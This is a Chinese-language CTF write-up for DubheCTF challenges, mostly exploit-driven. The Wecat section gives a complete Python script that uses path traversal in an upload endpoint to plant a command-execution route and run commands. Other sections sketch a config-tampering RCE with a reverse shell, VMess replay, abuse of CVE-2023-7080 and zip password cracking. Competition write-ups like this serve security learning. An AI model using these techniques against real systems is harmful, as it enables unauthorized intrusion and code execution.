ezPythonCheckin

看上去好像pyjail给我吓到了(?结果好简单。

Python
print(open("/flag").read())

Wecat

碎碎念:UI真好看。

登录注册之后发现上传头像/wechatAPI/upload/once处可以指定路径。于是可以上传恶意路由拿到shell。

一把梭:

Python
import timefrom requests import postimport iourl = "http://%s:%d/" % ("localhost",8088)email = "[email protected]"passwd = "114514!"# 注册post(    f"{url}wechatAPI/sign/success",        data=f'{{"email":"{email}","pwd":"{passwd}"}}',        headers={"Content-Type": "application/json"})print("[+] Registered")# 登录token = post(    f"{url}/wechatAPI/login/pwd",    data=f'{{"email":"{email}","pwd":"{passwd}"}}',    headers={"Content-Type": "application/json"}).json()['token']print("[+] Got token")# 上传post(    url + "/wechatAPI/upload/once", data={    "name": "any",    "hash": "114514",    "postfix": "txt/../../src/route/router.js"}, files={    "file": ("router.js", io.StringIO("""const router = require('@koa/router')()const commonRouter = require('./commonRouter')const routeAdmin = require('./admin')const routeLogin = require('./login')const routeUpload = require('./upload')const {execSync} = require('child_process')router    .use(routeLogin)    .use(commonRouter)    .use(routeUpload)    .use(routeAdmin)router.post('/wechatAPI/mikumiku', async (ctx) => {    ctx.body = execSync(ctx.request.body.command).toString()})module.exports = router"""), "text/plain")}, headers={"Authorization": token})print("[+] Uploaded")# 调用time.sleep(1)r = post(    f"{url}wechatAPI/mikumiku", data='{"command":"../../../../../readflag"}',    headers={"Content-Type": "application/json", "Authorization": token}).textprint("[+] Got flag:", r)

cipher

碎碎念:又可以一把梭诶…

看文件指纹知道是mark的文件

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLineConsoleHost_history.txt可以找到几个用户名的密码都是superman

然后丢进Advanced EFS Data Recovery 一把梭即可。

Master of Profile

之前有个subconventer的RCE洞。是在enable_cache且有token的情况下有办法进行rce。于是想办法找到token并且enable_cache。

审代码的时候看到/renderapi的实现:src/handler/interfaces.cpp#L1438中的path没有验证读取。尝试用/render?path=pref.yml读取配置文件。成功拿到token。

又看到src/main.cpp#L224的/updateconf实现。使用token可以修改pref.yml的内容。构造请求修改enable_cache为true。

然后做法就简单了。公网服务器上构造exp.js

Javascript
function parse(x){    os.exec(["sh","-c","..."])}

这里弹shell。

即可获得flag。

authorized mess & unauthorized less

碎碎念:从开赛到结束一直在做的一个题。出题人脑洞很好。

https://pastebin.com/raw/sw2TFBLK -> V2ray,VMess协议。

修改V2ray代码完成重放。在proxy/vmess/aead/authid.go中注释掉108-110行。即可跳过EAuId验证。重放攻击。然后抓包即可获得请求。是一张图片https://p.sda1.dev/16/11c111ee40a928d5d751dd5869414093/__p0.png,带有压缩包。

结合提示和图片文件名(pixiv的图片下载后文件名是pixivid_p0),猜测密码是原图片的pixivID(这一步好离谱。用sauceNao搜索可获得pixiv来源,密码116921220

解压压缩包,是一个Cloudflare Workers项目,一个vless服务,并且使用wrangler dev本地调试。组网了内网docker镜像。公网->Vmess->内网Vless。审计代码没有问题,猜测问题出在工具上。 于是搜索miniflare cve找到CVE-2023-7080,按照描述,我们可以利用这个vless访问本地启动的devtools服务器。

两层v2ray服务,启动两台v2ray服务器,使用dokodemo-door服务进行端口转发来实现。配置见Gist

本地使用chrome://inspect 连接devtools。使用快照功能将全部内存保存到本地。打开记事本搜索DubheCTF即可。

DubheCTF{Wh47_4_m355y_pRO7oCOl&L355y_d38u993R}

no more taowa

碎碎念:这个题不是我做的但是我一定要把它发出来。承包了我周末最大的乐子XD(

说的是不套娃但是全是套娃。

一共二十五轮,每轮随机套娃。据不愿意透露姓名的出题人所说,此题源自https://github.com/zysgmzb/taowa-generator/,并对其进行了小小的创新。

以下是队友大爹写的半自动化解密脚本。(交互部分略去)

Python
from PIL import Imageimport base64,io,mathfrom pyzbar.pyzbar import decodeimport zipfile,osimport threading,pyzipper,collectionsimport numpy as npimport pyperclipdef solve_base64(data:bytes):    def fix_base64_padding(base64_string):        missing_padding = len(base64_string) % 4        if missing_padding != 0:            base64_string += b'=' * (4 - missing_padding)        return base64_string    data=fix_base64_padding(data)    return base64.b64decode(data,validate=False)def solve_base32(data:bytes):    return base64.b32decode(data)def solve_base85(data:bytes):    return base64.b85decode(data)def from_bytes(data:bytes):    data=data.decode(errors='ignore')    for i, char in enumerate(data):        if not char.isdigit() and not ('A' <= char <= 'F') and not ('a' <= char <= 'f'):            data = data[:i]            break    return bytes.fromhex(data)def solve_png(data:bytes):    pic=Image.open(io.BytesIO(data))    def solve_png_1(img:Image.Image):        s=img        r=np.array(s)//128        r=r.flatten()        if len(r)%8==4:            r=r[:-4]        bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')        return bits    def solve_png_3(img:Image.Image):        s=img        r=np.array(s)%2        r=r.flatten()        if len(r)%8==4:            r=r[:-4]        bits=np.packbits(r.reshape(-1,8)).tobytes().rstrip(b'\x00')        return bits    def solve_png_2(img:Image.Image):        s=img        r=np.array(s)        r=r.flatten()        bits=r.tobytes().rstrip(b'\x00')        return bits    def solve_extra(img:Image.Image):         s=img        st=''        bt=b''        for y in range(s.height):            for x in range(s.width):                if x==0 and y==0:continue                st+=str(s.getpixel((x,y))[0]//50)+str(s.getpixel((x,y))[2]//50)                # if len(st)==8:                #     bt+=int(st,2).to_bytes(1,'big')                #     st=''        st=st.encode()        return st.strip(b'0')     if pic.size!=(640,640):        # r1= solve_png_2(pic)        is_equal=1        if pic.width>10:            aa,bb=pic.getpixel((10,0))[1],pic.getpixel((10,0))[3]            for x in range(11,pic.width):                if pic.getpixel((x,1))[1]!=aa or pic.getpixel((x,1))[3]!=bb:                    is_equal=0        r1=solve_png_1(pic)        r2=solve_png_2(pic)        r3=solve_png_3(pic)        if b'1'*20 in r1:return r1        if b'1'*20 in r3:return r3        if b'1'*20 in r2:return r2        c1=len(collections.Counter(r1))        c2=len(collections.Counter(r2))        c3=len(collections.Counter(r3))        print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')        print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')        print(f'ccccccccccccccccccccccc\n{r3[:100]}')        rr='-1'        while rr not in ['1','2','3']:            rr=input('choice: (1/2/3)')        if rr=='1':return r1        if rr=='2':return r2        if rr=='3':return r3    r1=solve_png_1(pic)    r2=solve_png_2(pic)    r3=solve_png_3(pic)    if b'1'*20 in r1:return r1    if b'1'*20 in r3:return r3    if b'1'*20 in r2:return r2    c1=len(collections.Counter(r1))    c2=len(collections.Counter(r2))    c3=len(collections.Counter(r3))    print(f'aaaaaaaaaaaaaaaaaaaaaaa\n{r1[:100]}')    print(f'bbbbbbbbbbbbbbbbbbbbbbb\n{r2[:100]}')    print(f'ccccccccccccccccccccccc\n{r3[:100]}')    rr='-1'    while rr not in ['1','2','3']:        rr=input('choice: (1/2/3)')    if rr=='1':return r1    if rr=='2':return r2    if rr=='3':return r3def solve_qrcode(data:bytes):    t=data.decode()    l=round(math.sqrt(len(data)))    s=Image.new('L',(l,l))    for i in range(l):        for j in range(l):            try:                s.putpixel((i,j),int(t[i*l+j])*255)            except:                pass    decoded_objects=decode(s)    return decoded_objects[0].datadef reverse_bytes(data:bytes):    data=data[::-1]    return datadef reverse_bin(data:bytes):    def bytes_to_binary(byte_data):        arr = np.frombuffer(byte_data, dtype=np.uint8)        binary_str = np.unpackbits(arr).flatten()        return binary_str[::-1]    def binary_to_bytes(binary_str):        byte_data = np.packbits(binary_str.reshape(-1,8))        return byte_data    byte_data = bytearray(data)    binary_str = bytes_to_binary(byte_data)    byte_data_back = binary_to_bytes(binary_str)    return byte_data_back.tobytes()def manual(data:bytes):    return eval(input('command: '))def identify(data:bytes):    if data[:4]==b'\x89PNG':return 'p'    if data[:20]==b'1'*20:return 'q'    if data[:4]==b'PK\x03\x04':return 'z'    if data[:8]==b'iVBORw0K':return '64'    print(data[:100])    print('f:from bytes 64:base64 85:base85 32:base32 z:zip bi:reverse bin by:reverse bytes  q:qrcode c:cut p:png')    return input('choice: ')def get_password():    os.system('john-1.8.0.13-jumbo-b7eae75d7-win64\\run\\zip2john.exe temp1.zip>hash.txt')    txt=open('hash.txt','r').read()    hashtxt=txt[10:txt.find('$/zip2$::::')+7]    print(hashtxt)    open('hashtext.txt','w').write(hashtxt)    os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d ')    os.system(f'cd hashcat-6.2.6 && cd && .\hashcat -m 13600 -a 3 ..\hashtext.txt ?d?d?d?d?d --show > out.aminuosi')    # return open('hashcat-6.2.6\\hashcat.potfile','r').read()[-6:].strip()    return open('hashcat-6.2.6\\out.aminuosi','r').read()[-6:].strip()def my_replace(data:bytes):    k=input('hex / bytes:0/1>')        a0,a1=input('a0 a1:>').split()    if k=='0':        return data.replace(bytes.fromhex(a0),b'0').replace(bytes.fromhex(a1),b'1')    else:        return data.replace(a0.encode(),b'0').replace(a1.encode(),b'1')def solve_zip(data:bytes):    open('temp1.zip','wb').write(data)    pwd_str=b''    # pwd_str=input('password: ')    while len(pwd_str)!=5:        pwd_str=get_password()    print(f'password is {pwd_str}')    try:        os.system(f'D:\\7zip\\7-Zip\\7z x -p{pwd_str} temp1.zip -otemp1')        files=os.listdir('temp1')[0]        res = open(f'temp1\\{files}','rb').read()        os.system(f'del temp1\\{files}')        print(res)        if res!=b'':return res    except:        pass    input(f'continue? >{pwd_str}')    files=os.listdir('temp1')[0]    res = open(f'temp1\\{files}','rb').read()    os.system(f'del temp1\\{files}')    if res!=b'':return resdef solve(data:bytes):    step=0    last=[]    while b'flag' not in data[:20]:        last.append(data)        open(f'temp_file/{step}','wb').write(data)        step+=1                if data[-6:]==b'wROBVi':data=data[::-1]        if data[4:8]==b'PK\x03\x04':data=data[4:]+data[:4]        if data[4:8]==b'\x89PNG':data=data[4:]        if data[4:24]==b'1'*20 and data[2:4]!=b'11':data=data[4:]        if b'DNEI' in data[:30]:data=reverse_bytes(data)        if reverse_bin(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bin(data)        if reverse_bytes(data)[:4] in [b'PK\x03\x04',b'\x89PNG']:data=reverse_bytes(data)        print(data[:100])        id=identify(data)        print(f'----------------------\n{id}\n-----------------------')        if id=='c':data=data[int(input('cut number: ')):]        if id=='64':data=solve_base64(data)        if id=='85':data=solve_base85(data)        if id=='r':data=my_replace(data)        if id=='32':data=solve_base32(data)        if id=='z':data=solve_zip(data)        if id=='q':data=solve_qrcode(data)        if id=='bi':data=reverse_bin(data)        if id=='by':data=reverse_bytes(data)        if id=='p':data=solve_png(data)        if id=='f':data=from_bytes(data)        if id=='m':data=manual(data)        if id=='back':data=last[-2]        print('\n\n\n\n')    print(data.decode())    pyperclip.copy(data.decode())while 1:    solve(open('temp','rb').read())    input('next >')